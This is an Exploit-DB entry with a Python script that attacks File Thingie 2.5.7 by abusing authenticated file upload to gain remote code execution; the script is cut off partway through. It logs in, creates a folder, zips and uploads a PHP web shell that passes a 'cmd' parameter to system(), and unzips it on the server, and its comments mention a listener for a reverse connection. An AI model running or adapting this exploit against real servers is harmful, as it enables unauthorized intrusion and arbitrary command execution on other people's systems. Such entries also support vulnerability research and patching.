Exploit-DB #51436
Description: File Thingie 2.5.7 - Remote Code Execution (RCE)
Type: webapps
Platform: php
Date: 2023-05-05
Author: Maurice Fielenbach

Exploit:
#!/usr/bin/python

# Exploit Title: File Thingie 2.5.7 - Arbitary File Upload to RCE
# Google Dork: N/A
# Date: 27th of April, 2023
# Exploit Author: Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)
# Software Link: https://github.com/leefish/filethingie
# Version: 2.5.7
# Tested on: N/A
# CVE: N/A

# Vulnerability originally discovered / published by Cakes
# Reference: https://www.exploit-db.com/exploits/47349
# Run a local listener on your machine and you're good to go


import os
import argparse
import requests
import random
import string
import zipfile
from urllib.parse import urlsplit, urlunsplit, quote


class Exploit:
    def __init__(self, target, username, password, lhost, lport):
        self.target = target
        self.username = username
        self.[CREDENTIAL_REDACTED]
        self.lhost = lhost
        self.lport = lport

    def try_login(self) -> bool:
        self.session = requests.Session()

        post_body = {"ft_user": f"{self.username}", "ft_pass": f"{self.password}", "act": "dologin"}
        response = self.session.post(self.target, data=post_body)

        if response.status_code == 404:
            print(f"[-] 404 Not Found - The requested resource {self.target} was not found")
            return False

        elif response.status_code == 200:

            if "Invalid username or password" in response.text:
                print(f"[-] Invalid username or password")
                return False

            return True
        
    def create_new_folder(self) -> bool:
        # Generate random string
        letters = string.ascii_letters
        self.payload_filename = "".join(random.choice(letters) for i in range(16))
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        post_body = {f"type": "folder", "newdir": f"{self.payload_filename}", "act": "createdir", "dir": "", "submit" :"Ok"}

        print(f"[*] Creating new folder /{self.payload_filename}")
        response = self.session.post(self.target, headers=headers, data=post_body)

        if f"index.php?dir=/{self.payload_filename}" in response.text:
            print(f"[+] Created new folder /{self.payload_filename}")
            return True
        
        else:
            print(f"[-] Could not create new folder /{self.payload_filename}")
            return False

    def create_payload(self) -> bool:
        try:
            with zipfile.ZipFile(f"{self.payload_filename}.zip", 'w', compression=zipfile.ZIP_DEFLATED) as zip_file:
                    zip_file.writestr(f"{self.payload_filename}.php", "<?php if(isset($_REQUEST[\'cmd\'])){ echo \"<pre>\"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo \"</pre>\"; die; }?>")
                    print(f"[+] Zipped payload to {self.payload_filename}.zip")
                    return True
        except:
            print(f"[-] Could not zip payload to {self.payload_filename}.zip")
            return False

    def upload_payload(self) -> bool:
        # Set up the HTTP headers and data for the request
        headers = {
            b'Content-Type': b'multipart/form-data; boundary=---------------------------grimlockx'
        }

        post_body = (
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="localfile[PII_REDACTED]953"; filename=""\r\n'
            'Content-Type: application/octet-stream\r\n\r\n'
        )

        post_body += (
            '\r\n-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n'
            '2000000\r\n'
            '-----------------------------grimlockx\r\n'
            f'Content-Disposition: form-data; name="localfile"; filename="{self.payload_filename}.zip"\r\n'
            'Content-Type: application/zip\r\n\r\n'
        )

        # Read the zip file contents and append them to the data
        with open(f"{self.payload_filename}.zip", "rb") as f:
            post_body += ''.join(map(chr, f.read()))

        post_body += (
            '\r\n-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="act"\r\n\r\n'
            'upload\r\n'
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="dir"\r\n\r\n'
            f'/{self.payload_filename}\r\n'
            '-----------------------------grimlockx\r\n'
            'Content-Disposition: form-data; name="submit"\r\n\r\n'
            'Upload\r\n'
            '-----------------------------grimlockx--\r\n'
        )

        print("[*] Uploading payload to the target")

        response = self.session.post(self.target, headers=headers, data=post_body)

        if f"<a href=\"./{self.payload_filename}/{self.payload_filename}.zip\" title=\"Show {self.payload_filename}.zip\">{self.payload_filename}.zip</a>" in response.text:
            print("[+] Uploading payload successful")
            return True

        else: 
            print("[-] Uploading payload failed")
            return False
        
    def get_base_url(self) -> str:
        url_parts = urlsplit(self.target)
        path_parts = url_parts.path.split('/')
        path_parts.pop()
        base_url = urlunsplit((url_parts.scheme, url_parts.netloc, '/'.join(path_parts), "", ""))
        return base_url

    def unzip_payload(self) -> bool:
        print("[*] Unzipping payload")
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        post_body = {"newvalue": f"{self.payload_filename}.zip", "file": f"{self.payload_filename}.zip", "dir": f"/{self.payload_filename}", "act": "unzip"}
        response = self.session.post(f"{self.target}", headers=headers, data=post_body)
        
        if f"<p class='ok'>{self.payload_filename}.zip unzipped.</p>" in response.text:
            print("[+] Unzipping